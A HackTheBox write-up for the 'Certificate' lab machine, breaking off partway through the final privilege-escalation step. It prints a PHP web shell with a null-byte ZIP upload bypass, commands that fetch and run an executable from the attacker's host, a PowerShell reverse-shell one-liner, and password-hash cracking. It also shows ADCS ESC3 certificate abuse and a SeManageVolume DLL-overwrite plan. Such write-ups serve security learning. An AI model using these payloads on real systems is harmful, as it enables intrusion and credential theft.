Post

Certificate - HackTheBox

Certificate - HackTheBox

Certificate - With a twist

Certificate starts off with a web app where I can create an account and upload zip files. I’ll upload a PHP web shell with a null byte to bypass the filter and obtain a shell on the box as xamppuser. While examining the MySQL databases, I can find a hash for the user Sara.B, crack it, and connect via WinRM as this user. In Sara.B’s Documents directory, I can find a PCAP file along with a text file explaining its contents. It contains credentials for another user. I extract the Kerberos requests from the PCAP, crack the hash, and obtain the password for user Lion.K. From there, I’ll abuse ESC3 and gain access as Ryan.K, who has the SeManageVolumePrivilege. I’ll then abuse this privilege to forge the administrator’s certificate and gain access to the domain controller as Administrator.

Recon

Nmap

As always, I’ll start off with Nmap to check for any unusual open ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
➜  Certificate scan -oN scanned 10.10.11.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-25 14:12 UTC
Nmap scan report for 10.10.11.71
Host is up (0.11s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-25 21:46:15Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-09-25T11:24:50
|_Not valid after:  2026-09-25T11:24:50
|_ssl-date: 2025-09-25T21:47:47+00:00; +7h33m39s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-09-25T11:24:50
|_Not valid after:  2026-09-25T11:24:50
|_ssl-date: 2025-09-25T21:47:47+00:00; +7h33m39s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-25T21:47:47+00:00; +7h33m39s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-09-25T11:24:50
|_Not valid after:  2026-09-25T11:24:50
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-25T21:47:47+00:00; +7h33m39s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-09-25T11:24:50
|_Not valid after:  2026-09-25T11:24:50
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-09-25T21:47:06
|_  start_date: N/A
|_clock-skew: mean: 7h33m39s, deviation: 0s, median: 7h33m38s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.94 seconds

Interestingly port 80 is open and it’s running LDAPS. Other then that, it’s just another normal DC.

Going to 10.10.11.71 redirects to certificate.htb. I’ll generate the hosts file with nxc.

1
2
3
4
5
➜  Certificate nxc smb 10.10.11.71 --generate-hosts-file hostz
SMB         10.10.11.71     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False) (Null Auth:True)
➜  Certificate cat hostz | sudo tee -a /etc/hosts
[sudo] password for simon:
10.10.11.71     DC01.certificate.htb certificate.htb DC01

SMB

I’ll check SMB to see if guest access is enabled, but it is not.

1
2
3
➜  Certificate nxc smb 10.10.11.71 -u 'guest' -p ''
SMB         10.10.11.71     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.10.11.71     445    DC01             [-] certificate.htb\guest: STATUS_ACCOUNT_DISABLED

Port 80 / Website

TechStack

1
2
3
4
5
6
7
8
9
10
➜  Certificate curl -I http://certificate.htb/
HTTP/1.1 200 OK
Date: Thu, 25 Sep 2025 21:51:37 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
X-Powered-By: PHP/8.0.30
Set-Cookie: PHPSESSID=a5cu6j9of6l5im6lojb2mdmi2k; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8

The PHPSESSID indicates that it’s a PHP site, and since it’s marked HttpOnly, exploiting XSS directly is not feasible.

PHP Version

1
2
3
4
5
6
7
8
9
10
➜  Certificate curl 10.10.11.71
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://certificate.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 10.10.11.71 Port 80</address>
</body></html>

There is not much on the home page, but a register button is visible.

On the registration page, I can sign up as a teacher.

Shell as xamppuser

Looking around the webapp, there is a quiz submission page that allows me to submit the following types of files in a ZIP.

  • Please select the assignment file you want to upload (the file will be reviewed by the course instructor)
  • We accept only the following file types: .pdf .docx .pptx .xlsx
  • You include the assignment file in .zip archive file to reduce it’s size http://certificate.htb/upload.php?s_id=ID

Knowing it’s a PHP webapp, I tried uploading .php files, but it didn’t work. I received:

1
2
3
400 Bad Request

The request you sent contains bad or malicious content (Invalid MIME type).

Changing the extension to .php.pdf triggers:

1
2
3
400 Bad Request

The request you sent contains bad or malicious content (Invalid Extension).

nullbyte

Using %00 worked, so I’ll create a shell.php and a Python script to generate a ZIP containing it.

shell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

echo("<pre>");

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

if (isset($_GET['cmd'])) {
    echo(shell_exec($_GET['cmd']));
}

echo("</pre>");

?>

genzip.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import io
import zipfile

data = b"%PDF-1.7\n%DUMMY\n" + open("shell.php", "rb").read()

zip = zipfile.ZipFile("shell.zip", "w")
zip.writestr("shell.php\x00.pdf", data)
zip.close()

zip = zipfile.ZipFile("shell.zip", "r")
info = zip.infolist()[0]
data = zip.read(info.filename)
info.filename += "\x00.pdf"
zip.close()

zip = zipfile.ZipFile("shell.zip", "w")
zip.writestr(info, data)
zip.close()

The ZIP file has now been generated, I’ll submit it in the quiz.

1
2
3
➜  Certificate python3 genzip.py
➜  Certificate ls
genzip.py  hostz   scanned  shell.php  shell.zip 

I’ll upload this zip file onto the website. The shell is available at this endpoint.

http://certificate.htb/static/uploads/3d5dfb6bb35fa5aac68ce740f272b777/shell.php

Running whoami does not return a result, but executing dir returns output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  Certificate curl http://certificate.htb/static/uploads/3d5dfb6bb35fa5aac68ce740f272b777/shell.php?cmd=dir
%PDF-1.7 %DUMMY
 Volume in drive C has no label.
 Volume Serial Number is 7E12-22F9

 Directory of C:\xampp\htdocs\certificate.htb\static\uploads\3d5dfb6bb35fa5aac68ce740f272b777

09/25/2025  05:13 PM    
          .
09/25/2025  05:13 PM    
          ..
09/25/2025  04:12 PM               218 shell.php
               1 File(s)            218 bytes
               2 Dir(s)   4,378,550,272 bytes free

First, I’ll create a temp folder and place my shell in it, ensuring the command is URL-encoded.

1
2
3
4
5
6
➜  Certificate curl "http://certificate.htb/static/uploads/3d5dfb6bb35fa5aac68ce740f272b777/shell.php?cmd=mkdir+C:\temp"
➜  Certificate curl "http://certificate.htb/static/uploads/3d5dfb6bb35fa5aac68ce740f272b777/shell.php?cmd=curl+http://10.10.14.203/csh.exe+-o+C%3A%5Ctemp%5Ccsh_10.10.14.203_9001.exe"
➜  Certificate curl "http://certificate.htb/static/uploads/3d5dfb6bb35fa5aac68ce740f272b777/shell.php?cmd=C:\temp\csh_10.10.14.203_9001.exe"

# Python webserver
10.10.11.71 - - [25/Sep/2025 16:33:28] "GET /csh.exe HTTP/1.1" 200 -

On the other hand, I have a shell as xamppuser.

1
2
3
4
5
6
7
8
9
10
11
➜  ~ rlwrap ncat -nvlp  9001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.71:57113.
Microsoft Windows [Version 10.0.17763.6532]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\certificate.htb\static\uploads\3d5dfb6bb35fa5aac68ce740f272b777>whoami
whoami
certificate\xamppuser

Combined Zip

There is another way to get a shell: I’ll create a legitimate DOCX file, zip it, then create a second ZIP with the shell, and finally combine them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  Certificate zip benign.zip legit.docx 
  adding: legit.docx (deflated 15%)

➜  Certificate mkdir malicious; cd malicious
➜  Certificate vim shell.php

<?php
shell_exec("powershell -nop -w hidden -c \"\$client = New-Object System.Net.Sockets.TCPClient('10.10.14.4',9001); \$stream = \$client.GetStream(); [byte[]]\$bytes = 0..65535|%{0}; while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){; \$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0,\$i); \$sendback = (iex \$data 2>&1 | Out-String ); \$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> '; \$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2); \$stream.Write(\$sendbyte,0,\$sendbyte.Length); \$stream.Flush()}; \$client.Close()\"");
?>

➜  Certificate cd .. ; zip -r malicious.zip malicious 
  adding: malicious/ (stored 0%)
  adding: malicious/shell.php (deflated 38%)
➜  Certificate cat benign.zip malicious.zip > combined.zip

I can now simply curl the endpoint to obtain a shell.

1
➜  Certificate curl http://certificate.htb/static/uploads/3d5dfb6bb35fa5aac68ce740f272b777/shell.php
1
2
3
4
5
6
➜  ~ rlwrap ncat -nvlp  9001
<SNIP>
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\certificate.htb\static\uploads\3d5dfb6bb35fa5aac68ce740f272b777>whoami
certificate\xamppuser

Shell as Sara.B

DB Enum

There are many other avenues to explore, but since the webapp is running on a XAMPP stack, there is likely a database present, which is common on HTB.

On Windows, mysql.exe is located at:

1
C:\xampp\mysql\bin\mysql.exe

I’ll enumerate the MySQL databases to see if anything interesting is there:

1
2
3
4
5
PS C:\Users\xamppuser> & "C:\xampp\mysql\bin\mysql.exe" -u root -D certificate_webapp_db -e "show tables;"
Tables_in_certificate_webapp_db
course_sessions
courses
users

None of the tables seem interesting except users, so I’ll examine its contents.

1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\xamppuser> & "C:\xampp\mysql\bin\mysql.exe" -u root -D certificate_webapp_db -e "SELECT * FROM users;"
id	first_name	last_name	username	email	password	created_at	role	is_active
1	Lorra	Armessa	Lorra.AAA	[email protected]	$2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG	   2024-12-23 12:43:10	   teacher	1
6	Sara	Laracrof	Sara1200	[email protected]	$2y$04$pgTOAkSnYMQoILmL6MRXLOOfFlZUPR4lAD2kvWZj.i/dyvXNSqCkK	   2024-12-23 12:47:11	   teacher	1
7	John	Wood	Johney	[email protected]	$2y$04$VaUEcSd6p5NnpgwnHyh8zey13zo/hL7jfQd9U.PGyEW3yqBf.IxRq	   2024-12-23 13:18:18	   student	1
8	Havok	Watterson	havokww	[email protected]	$2y$04$XSXoFSfcMoS5Zp8ojTeUSOj6ENEun6oWM93mvRQgvaBufba5I5nti	   2024-12-24 09:08:04	   teacher	1
9	Steven	Roman	stev	[email protected]	$2y$04$6FHP.7xTHRGYRI9kRIo7deUHz0LX.vx2ixwv0cOW6TDtRGgOhRFX2	   2024-12-24 12:05:05	   student	1
10	Sara	Brawn	sara.b	[email protected]	$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6	   2024-12-25 21:31:26	   admin	1
12	linda	linda	linda	[email protected]	$2y$04$TgcJx9.gP8tBrsb59ifWb.ziqVakAqIyfwcRjZdslJz57vAq.6G1q	2025-09-25 11:16:47	   student	1
13	a	a	a	[email protected]	$2y$04$2m7nLs0cKf/wAFr2Nf2wm.Iq1HwH1X8ZHqeXyjEk9AHIAw5RPkucS	2025-09-25 16:37:08	   student	1
PS C:\Users\xamppuser>

From the output, only sara.b stands out, as she has the admin role and her email ends with certificate.htb. I’ll take the hash and crack it using Hashcat.

1
2
3
4
5
6
➜  Certificate cat sarab.hash
sara.b:$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6
➜  Certificate hashcat -a 0 -m 3200 --username sarab.hash /usr/share/wordlists/rockyou.txt
<SNIP>
$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6:Blink182
<SNIP>

The credentials are valid, and Sara.B can WinRM into the box.

1
2
3
4
5
6
7
➜  Certificate nxc smb certificate.htb -u Sara.B -p Blink182
[*] Adding missing option 'check_guest_account' in config section 'nxc' to nxc.conf
SMB         10.10.11.71     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.10.11.71     445    DC01             [+] certificate.htb\Sara.B:Blink182
➜  Certificate nxc winrm certificate.htb -u Sara.B -p Blink182
WINRM       10.10.11.71     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM       10.10.11.71     5985   DC01             [+] certificate.htb\Sara.B:Blink182 (Pwn3d!)

Unfortunately, Sara.B does not have the user.txt file.

1
2
3
4
5
6
7
8
9
10
➜  Certificate evil-winrm -i 10.10.11.71 -u Sara.B -p 'Blink182'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Sara.B\Documents> ls ..\Desktop

Shell as Lion.K

In the Documents folder of Sara.B, there is another folder named WS-01 that contains a PCAP and a text file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
*Evil-WinRM* PS C:\Users\Sara.B\Documents> dir


    Directory: C:\Users\Sara.B\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        11/4/2024  12:53 AM                WS-01


*Evil-WinRM* PS C:\Users\Sara.B\Documents> dir WS-01


    Directory: C:\Users\Sara.B\Documents\WS-01


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/4/2024  12:44 AM            530 Description.txt
-a----        11/4/2024  12:45 AM         296660 WS-01_PktMon.pcap

The PCAP appears to be from a host, and the Description.txt helps clarify what the PCAP is about.

1
2
3
4
*Evil-WinRM* PS C:\Users\Sara.B\Documents> type WS-01\Description.txt
The workstation 01 is not able to open the "Reports" smb shared folder which is hosted on DC01.
When a user tries to input bad credentials, it returns bad credentials error.
But when a user provides valid credentials the file explorer freezes and then crashes!

From the description, I can assume that the host WS-01 is either not configured properly with DNS or there is another underlying issue. Since it mentions that users enter “valid” credentials and Explorer freezes, the PCAP likely contains some Kerberos requests.

I’ll transfer WS-01_PktMon.pcap to my host for analysis.

1
2
3
4
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> download WS-01_PktMon.pcap

Info: Downloading C:\Users\Sara.B\Documents\WS-01\WS-01_PktMon.pcap to WS-01_PktMon.pcap
/var/lib/gems/3.1.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...

I’m encountering errors, so I’ll install uploadserver for Python and transfer the file using an alternative method.

1
2
3
4
5
6
7
8
9
# Machine
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> curl.exe -X POST -F "files=@WS-01_PktMon.pcap" http://10.10.14.203:8000/upload

# Local
➜  Certificate pip install uploadserver
➜  Certificate python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.71 - - [25/Sep/2025 17:43:19] [Uploaded] "WS-01_PktMon.pcap" --> /home/simon/HTB/Hard/Certificate/WS-01_PktMon.pcap

Running strings on the PCAP reveals that user Lion.K is attempting to access the Reports SMB share.

1
2
3
4
➜  Certificate strings WS-01_PktMon.pcap | grep CERTIFICATE
<SNIP>
CERTIFICATE.HTBLion.SK
<SNIP>

The PCAP file contains TGS and ASREQ requests for Lion.K. I am specifically interested in the ASREQ, as it essentially contains the password, which I can attempt to crack. I can parse these requests using this Python script.

1
2
3
4
5
6
7
8
9
➜  Certificate wget https://github.com/jalvarezz13/Krb5RoastParser/raw/refs/heads/main/krb5_roast_parser.py -O parser.py
➜  Certificate sudo apt install tshark
➜  Certificate uv run parser.py
Usage: python roasting.py <pcap_file> <as_req/as_rep/tgs_rep>
➜  Certificate python3 parser.py WS-01_PktMon.pcap as_req
$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
➜  Certificate python3 parser.py WS-01_PktMon.pcap tgs_rep
$krb5tgs$23$*Lion.SK$CERTIFICATE.HTB$<SNIP>
$krb5tgs$23$*Lion.SK$CERTIFICATE.HTB$krbtgt/CERTIFICATE.HTB*<SNIP>

You might see CERTIFCATE in the hash rather than CERTIFICATE.HTB; make sure to correct it before cracking the hash.

Next, I’ll need to crack the ASREQ hash to discover the password for the Lion.SK user.

1
2
3
4
➜  Certificate hashcat LionSK.hash /usr/share/wordlists/rockyou.txt
<SNIP>
$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0:!QAZ2wsx
<SNIP>

The credentials are valid for Lion.SK, and I can WinRM into the system as this user.

1
2
3
➜  Certificate nxc winrm certificate.htb -u Lion.SK -p '!QAZ2wsx'
WINRM       10.10.11.71     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM       10.10.11.71     5985   DC01             [+] certificate.htb\Lion.SK:!QAZ2wsx (Pwn3d!)

Lion.SK has the user.txt file, which I can quickly grab using nxc.

1
2
3
4
5
➜  Certificate nxc winrm certificate.htb -u Lion.SK -p '!QAZ2wsx' -X "type C:\Users\*\Desktop\*.txt"
WINRM       10.10.11.71     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM       10.10.11.71     5985   DC01             [+] certificate.htb\Lion.SK:!QAZ2wsx (Pwn3d!)
WINRM       10.10.11.71     5985   DC01             [+] Executed command (shell type: powershell)
WINRM       10.10.11.71     5985   DC01             2ad7e83dc03d08c33fd8d9b0318aa65b

Auth as Ryan.K

Initially, when I worked on the box, I enjoyed pure Windows exploitation until I reached the AD part. The name of the box confused me at first, but it was enough of a hint. I ran Certipy, discovered ESC3, and abused it to obtain Ryan.K.

At this point, one might give up, but the name of the box, “Certificate,” is a clear hint. I’ll run Certipy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
➜  Certificate certipy find -vulnerable -dc-ip 10.10.11.71 -u '[email protected]' -p '!QAZ2wsx' -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)

<SNIP>
  0
    Template Name                       : Delegated-CRA
    Display Name                        : Delegated-CRA
    Certificate Authorities             : Certificate-LTD-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectAltRequireEmail
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-05T19:52:09+00:00
    Template Last Modified              : 2024-11-05T19:52:10+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFICATE.HTB\Domain CRA Managers
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFICATE.HTB\Administrator
        Full Control Principals         : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Owner Principals          : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Dacl Principals           : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Property Enroll           : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
    [+] User Enrollable Principals      : CERTIFICATE.HTB\Domain CRA Managers
    [!] Vulnerabilities
      ESC3                              : Template has Certificate Request Agent EKU set.

DC is vulnerable to ESC3.

Following the example commands from the wiki, I’ll first request a certificate for Lion.SK using the Delegated-CRA template, then request a certificate on behalf of Ryan.K the group memeber of Lion.SK.

I received a NETBIOS error, but re-running the command resolves it.

I’ll request certificate for Lion.sk.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  Certificate certipy req \
  -u 'Lion.SK' -p '!QAZ2wsx' \
  -dc-ip 10.129.232.96 \
  -target certificate.htb \
  -ca 'Certificate-LTD-CA' \
  -template 'Delegated-CRA'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The resolution lifetime expired after 5.404 seconds: Server Do53:10.129.232.96@53 answered The DNS operation timed out.; Server Do53:10.129.232.96@53 answered The DNS operation timed out.; Server Do53:10.129.232.96@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 24
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1115'
[*] Saving certificate and private key to 'lion.sk.pfx'
[*] Wrote certificate and private key to 'lion.sk.pfx'

There were some errors, but I successfully obtained the certificate.

Next, I’ll request a certificate on behalf of Ryan.K (Ryan is in same group as Lion!).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  Certificate certipy req \
  -u 'Lion.SK' -p '!QAZ2wsx' \
  -dc-ip 10.129.232.96 \
  -target certificate.htb \
  -ca 'Certificate-LTD-CA' \
  -template 'SignedUser' \
  -on-behalf-of 'certificate\ryan.k' \
  -pfx lion.sk.pfx
Certipy v5.0.3 - by Oliver Lyak (ly4k)

<SNIP>
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Saving certificate and private key to 'ryan.k.pfx'
[*] Wrote certificate and private key to 'ryan.k.pfx'

I can now request a TGT and obtain the NT hash for Ryan.K.

Ryan.K has access to WinRM.

1
2
3
➜  Certificate nxc winrm 10.10.11.71 -u ryan.k -H b1bc3d70e70f4f36b1509a65ae1a2ae6
WINRM       10.10.11.71     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM       10.10.11.71     5985   DC01             [+] certificate.htb\ryan.k:b1bc3d70e70f4f36b1509a65ae1a2ae6 (Pwn3d!)

Shell as Administrator

Earlier, as the Lion.SK user, I looked at Ryan.K and saw that they are a member of Domain Storage Managers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
➜  Certificate nxc winrm certificate.htb -u Lion.SK -p '!QAZ2wsx' -X "net user Ryan.K"
WINRM       10.10.11.71     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM       10.10.11.71     5985   DC01             [+] certificate.htb\Lion.SK:!QAZ2wsx (Pwn3d!)
WINRM       10.10.11.71     5985   DC01             [+] Executed command (shell type: powershell)
WINRM       10.10.11.71     5985   DC01             User name                    Ryan.K
WINRM       10.10.11.71     5985   DC01             Full Name                    Ryan Kareem
WINRM       10.10.11.71     5985   DC01             Comment
WINRM       10.10.11.71     5985   DC01             User's comment
WINRM       10.10.11.71     5985   DC01             Country/region code          000 (System Default)
WINRM       10.10.11.71     5985   DC01             Account active               Yes
WINRM       10.10.11.71     5985   DC01             Account expires              Never
WINRM       10.10.11.71     5985   DC01
WINRM       10.10.11.71     5985   DC01             Password last set            11/3/2024 7:57:30 PM
WINRM       10.10.11.71     5985   DC01             Password expires             Never
WINRM       10.10.11.71     5985   DC01             Password changeable          11/4/2024 7:57:30 PM
WINRM       10.10.11.71     5985   DC01             Password required            Yes
WINRM       10.10.11.71     5985   DC01             User may change password     Yes
WINRM       10.10.11.71     5985   DC01
WINRM       10.10.11.71     5985   DC01             Workstations allowed         All
WINRM       10.10.11.71     5985   DC01             Logon script
WINRM       10.10.11.71     5985   DC01             User profile
WINRM       10.10.11.71     5985   DC01             Home directory
WINRM       10.10.11.71     5985   DC01             Last logon                   11/26/2024 7:48:21 PM
WINRM       10.10.11.71     5985   DC01
WINRM       10.10.11.71     5985   DC01             Logon hours allowed          All
WINRM       10.10.11.71     5985   DC01
WINRM       10.10.11.71     5985   DC01             Local Group Memberships      *Remote Management Use
WINRM       10.10.11.71     5985   DC01             Global Group memberships     *Domain Users         *Domain Storage Manage
WINRM       10.10.11.71     5985   DC01             The command completed successfully.

Looking on the privileges of Ryan.K, user has SeManageVolumePrivilege Which I exploited another Box from VulnLab.

1
2
3
4
5
6
7
8
9
10
11
evil-winrm-py PS C:\Users\Ryan.K\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                      State
============================= ================================ =======
SeMachineAccountPrivilege     Add workstations to domain       Enabled
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Enabled

SeManageVolume

Explanation

This exploit grants full permission on C:\ drive for all users on the machine.

  • Enables the privilege in the token
  • Creates handle to .\C: with SYNCHRONIZE FILE_TRAVERSE
  • Sends the FSCTL_SD_GLOBAL_CHANGE to replace S-1-5-32-544 with S-1-5-32-545

Overwriting “Printconfig.dll” for SYSTEM Shell Access

The capacity to create a file under user control within protected directories opens up a multitude of possibilities for privilege escalation. One of the relatively straightforward techniques involves replacing the “Printconfig.dll” file situated at “C:\Windows\System32\spool\drivers\x64\3” with a malicious DLL. By initiating the PrintNotify object, the service will load our nefarious PrintConfig.dll, thereby granting us a privileged SYSTEM shell.

Proof of Concept:

  1. Generate a custom DLL and locate it at C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll.
  2. Initiate the PrintNotify object by executing the following PowerShell commands:
1
2
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")  
$object = [Activator]::CreateInstance($type)  
  1. Attain a system shell access.

Credits :

I can exploit it using SeManageVolumeAbuse from xct, but it requires compilation.

I noticed that CsEnox has bit similar PoC in C, already compiled. I’ll download it and transfer it onto the box.

1
➜  Certificate wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe -O SMVA.exe

Evil-WinRM was quiet slow for me, so I switched to evil-winrm-py.

1
2
3
evil-winrm-py PS C:\Users\Ryan.K\Documents> upload SMVA.exe .
Uploading /home/simon/HTB/Hard/Certificate/SMVA.exe: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 12.0k/12.0k [00:01<00:00, 10.5kB/s]
[+] File uploaded successfully as: C:\Users\Ryan.K\Documents\SMVA.exe

Running it says “DONE.” Now BUILTIN\Users have modify (M) permissions, which allows them to read, write, and delete files within that folder if they inherit permissions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
evil-winrm-py PS C:\Users\Ryan.K\Documents>  icacls C:\Windows
